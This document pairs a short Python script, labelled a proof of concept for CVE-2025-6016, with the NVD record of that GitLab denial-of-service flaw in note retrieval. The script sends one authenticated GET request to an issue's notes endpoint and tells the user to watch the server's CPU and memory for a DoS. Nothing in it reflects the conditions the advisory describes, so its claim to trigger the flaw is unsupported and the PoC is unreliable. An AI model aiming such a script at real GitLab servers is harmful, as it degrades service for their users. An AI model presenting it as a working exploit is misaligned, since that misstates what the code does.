CVE-2025-6016

import requests # PoC for CVE-2025-6016: GitLab Resource Exhaustion # Target: GitLab CE/EE < 18.11.1, < 18.10.4, < 18.9.6 # Precondition: Valid authenticated user token target_url = "https://<gitlab-domain>/api/v4/projects/<project_id>/issues/<issue_id>/notes" token = "<your_private_token>" headers = { "Private-Token": token } try: # Sending a request to trigger the resource exhaustion in note retrieval response = requests.get(target_url, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Monitor server CPU/Memory for potential DoS condition.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2025-6016", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:33.410", "lastModified": "2026-04-23T20:49:42.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 9.2 before 18.9.6, 18.10 before 18.10.4, and 18.11 before 18.11.1 that could have allowed an authenticated user to cause denial of service due to insufficient resource allocation limits when retrieving notes under certain conditions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "BEBC9124-7EA1-4AE4-95C7-04CE72F90780"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "18.9.6", "matchCriteriaId": "F475B5A5-C6EE-4F9C-843B-F356B7546C90"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "98D16D9B-6A45-45F3-934B-3ED95C8371BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.10.0", "versionEndExcluding": "18.10.4", "matchCriteriaId": "58B8096F-9D7B-403D-B685-E9D4FA24F3E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:community:*:*:*", "matchCriteriaId": "A6100523-821F-4F41-872D-AC5A60EECC19"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.11.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "C78F9577-CDD5-497B-A92F-3C578AC6709E"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/04/22/patch-release-gitlab-18-11-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/548940", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3160363", "source": "[email protected]", "tags": ["Permissions Required"]}]}}